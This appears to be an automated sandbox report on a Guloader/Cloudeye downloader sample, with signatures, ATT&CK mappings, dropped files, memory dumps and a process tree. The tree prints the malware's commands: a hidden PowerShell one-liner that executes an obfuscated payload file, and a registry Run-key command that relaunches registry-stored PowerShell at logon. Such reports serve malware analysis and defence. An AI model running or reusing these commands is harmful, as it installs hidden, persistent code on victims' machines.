Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/07/2026, 14:18
General
- Target f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4.exe
- Size 1.2MB
- Sample260720-rmffhaey5x
- SHA256 f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4.exe"C:\Users\Admin\AppData\Local\Temp\f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$galdens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas';$beboerhusene=$galdens.SubString(2416,3);.$beboerhusene($galdens)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe"C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
Labourhoods.Mas
Monoerne.Ple
Skankemageren.exe
__PSScriptPolicyTest_r0rylw22.ifc.ps1
memory/1456-26-0x00000000073D0000-0x0000000007974000-memory.dmp
memory/1456-30-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-13-0x0000000005140000-0x00000000051A6000-memory.dmp
memory/1456-10-0x0000000004DC0000-0x0000000004DE2000-memory.dmp
memory/1456-20-0x0000000005830000-0x0000000005B84000-memory.dmp
memory/1456-21-0x0000000005E00000-0x0000000005E1E000-memory.dmp
memory/1456-22-0x0000000005E50000-0x0000000005E9C000-memory.dmp
memory/1456-23-0x0000000006390000-0x0000000006426000-memory.dmp
memory/1456-24-0x0000000006350000-0x000000000636A000-memory.dmp
memory/1456-25-0x0000000006430000-0x0000000006452000-memory.dmp
memory/1456-6-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-9-0x00000000051C0000-0x00000000057E8000-memory.dmp
memory/1456-28-0x0000000008000000-0x000000000867A000-memory.dmp
memory/1456-11-0x0000000005060000-0x00000000050C6000-memory.dmp
memory/1456-31-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-8-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-34-0x0000000007360000-0x0000000007364000-memory.dmp
memory/1456-33-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-36-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-35-0x0000000008680000-0x000000000B303000-memory.dmp
memory/1456-37-0x0000000008680000-0x000000000B303000-memory.dmp
memory/1456-38-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-39-0x0000000000B90000-0x0000000000BA0000-memory.dmp
memory/1456-7-0x0000000000BF0000-0x0000000000C26000-memory.dmp
memory/1456-56-0x0000000008680000-0x000000000B303000-memory.dmp
memory/4836-45-0x00000000004C0000-0x0000000001714000-memory.dmp